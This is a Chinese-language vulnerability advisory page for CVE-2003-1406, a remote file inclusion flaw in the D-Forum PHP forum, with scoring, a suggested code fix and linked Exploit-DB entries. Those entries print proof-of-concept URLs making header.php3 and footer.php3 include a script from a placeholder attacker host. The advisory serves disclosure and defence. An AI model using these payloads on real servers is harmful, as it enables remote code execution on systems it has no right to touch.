CVE-2003-1406
CVSS7.5
发布时间 :2003-12-31 00:00:00
修订时间 :2008-09-05 16:36:51
NMCOE    

[原文]PHP remote file inclusion vulnerability in D-Forum 1.00 through 1.11 allows remote attackers to execute arbitrary PHP code via a URL in the (1) my_header parameter to header.php3 or (2) my_footer parameter to footer.php3.


[CNNVD]D-Forum远程文件包含漏洞(CNNVD-200312-113)

        
        D-Forum是一款由PHP编写的论坛程序。
        D-Forum包含的'/includes/header.php3'和'/includes/footer.php3'脚本对用户提交的输入缺少正确检查,远程攻击者可以利用这个漏洞指定包含远程服务器上的任意文件,以WEB权限在系统上执行任意命令。
        '/includes/header.php3'和'/includes/footer.php3'脚本对'$my_footer'和'$my_header'变量缺少正确的检查,攻击者可以指令此变量包含远程服务器上的文件,如果包含的文件包含恶意脚本代码,可以WEB权限在目标服务器上执行。
        

- CVSS (基础分值)

CVSS分值: 7.5 [严重(HIGH)]
机密性影响: PARTIAL [很可能造成信息泄露]
完整性影响: PARTIAL [可能会导致系统文件被修改]
可用性影响: PARTIAL [可能会导致性能下降或中断资源访问]
攻击复杂度: LOW [漏洞利用没有访问限制 ]
攻击向量: NETWORK [攻击者不需要获取内网访问权或本地访问权]
身份认证: NONE [漏洞利用无需身份认证]

- CWE (弱点类目)

CWE-94 [对生成代码的控制不恰当(代码注入)]

- CPE (受影响的平台与产品)

cpe:/a:adalis_infomatique:d_forum:1.0
cpe:/a:adalis_infomatique:d_forum:1.11
cpe:/a:adalis_infomatique:d_forum:1.10

- OVAL (用于检测的技术细节)

未找到相关OVAL定义

- 官方数据库链接

http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2003-1406
(官方数据源) MITRE
http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2003-1406
(官方数据源) NVD
http://www.cnnvd.org.cn/vulnerability/show/cv_cnnvdid/CNNVD-200312-113
(官方数据源) CNNVD

- 其它链接及资源

http://xforce.iss.net/xforce/xfdb/11342
(UNKNOWN)  XF  dform-header-file-include(11342)
http://www.securityfocus.com/bid/6879
(UNKNOWN)  BID  6879
http://archives.neohapsis.com/archives/vulnwatch/2003-q1/0072.html
(UNKNOWN)  VULNWATCH  20030216 D-Forum (PHP)

- 漏洞信息

D-Forum远程文件包含漏洞
高危 输入验证
2003-12-31 00:00:00 2003-12-31 00:00:00
远程  
        
        D-Forum是一款由PHP编写的论坛程序。
        D-Forum包含的'/includes/header.php3'和'/includes/footer.php3'脚本对用户提交的输入缺少正确检查,远程攻击者可以利用这个漏洞指定包含远程服务器上的任意文件,以WEB权限在系统上执行任意命令。
        '/includes/header.php3'和'/includes/footer.php3'脚本对'$my_footer'和'$my_header'变量缺少正确的检查,攻击者可以指令此变量包含远程服务器上的文件,如果包含的文件包含恶意脚本代码,可以WEB权限在目标服务器上执行。
        

- 公告与补丁

        临时解决方法:
        如果您不能立刻安装补丁或者升级,CNNVD建议您采取以下措施以降低威胁:
        * 在footer.php3更改如下行:
        ---------------------------
        if ($my_footer!="")
        {
        include ($my_footer);
        } else {
        ?>
        ---------------------------
        为:
        --------------------------------------
        if (file_exists($my_footer.".php3"))
        {
        include ($my_footer.".php3");
        } else {
        ?>
        -------------------------------------
        在header.php3文件中,更改如下行:
        ---------------------------
                if ($my_header!="")
        {
        include ($my_header);
        } else {
        ?>
        --------------------------
        为:
        -------------------------------------
                if (file_exists($my_header.".php3"))
        {
        include ($my_header.".php3");
        } else {
        ?>
        -------------------------------------
        厂商补丁:
        Adalis Informatique
        -------------------
        目前厂商还没有提供补丁或者升级程序,我们建议使用此软件的用户随时关注厂商的主页以获取最新版本:
        
        http://www.adalis.fr/dforum/nav.php

- 漏洞信息 (22256)

D-Forum 1 header Parameter Remote File Inclusion (EDBID:22256)
php webapps
2003-02-18 Verified
0 frog
N/A [点击下载]
source: http://www.securityfocus.com/bid/6879/info

D-Forum is prone to an issue which may allow remote attackers to include files located on remote servers. This issue is present in the /includes/header.php3 and /includes/footer.php3 scripts.

Under some circumstances, it is possible for remote attackers to influence the include path for the header and footer files to point to an external file on a remote server by manipulating some URI parameters. 

http://[target]/includes/header.php3?my_header=http://[attacker]/script.txt 		

- 漏洞信息 (22257)

D-Forum 1 footer Parameter Remote File Inclusion (EDBID:22257)
php webapps
2003-02-18 Verified
0 frog
N/A [点击下载]
source: http://www.securityfocus.com/bid/6879/info
 
D-Forum is prone to an issue which may allow remote attackers to include files located on remote servers. This issue is present in the /includes/header.php3 and /includes/footer.php3 scripts.
 
Under some circumstances, it is possible for remote attackers to influence the include path for the header and footer files to point to an external file on a remote server by manipulating some URI parameters. 

http://[target]/includes/footer.php3?my_footer=http://[attacker]/script.txt		

- 漏洞信息

59447
D-Forum header.php3 my_header Parameter Remote File Inclusion
Remote / Network Access Input Manipulation
Loss of Integrity Solution Unknown
Exploit Public Uncoordinated Disclosure

- 漏洞描述

D-Forum contains a flaw that may allow a remote attacker to execute arbitrary commands or code. The issue is due to the 'header.php3' script not properly sanitizing user input supplied to the 'my_header' parameter. This may allow an attacker to include a file from a third-party remote host that contains commands or code that will be executed by the vulnerable script with the same privileges as the web server.

- 时间线

2003-02-16 Unknow
2003-02-16 Unknow

- 解决方案

OSVDB is not aware of a solution for this vulnerability.

- 相关参考

- 漏洞作者

 

 

关于SCAP中文社区

SCAP中文社区是国内第一个以SCAP为主题的中文开放社区。了解更多信息,请查阅[关于本站]

版权声明

CVE/CWE/OVAL均为MITRE公司的注册商标,它们的官方数据源均保存在MITRE公司的相关网站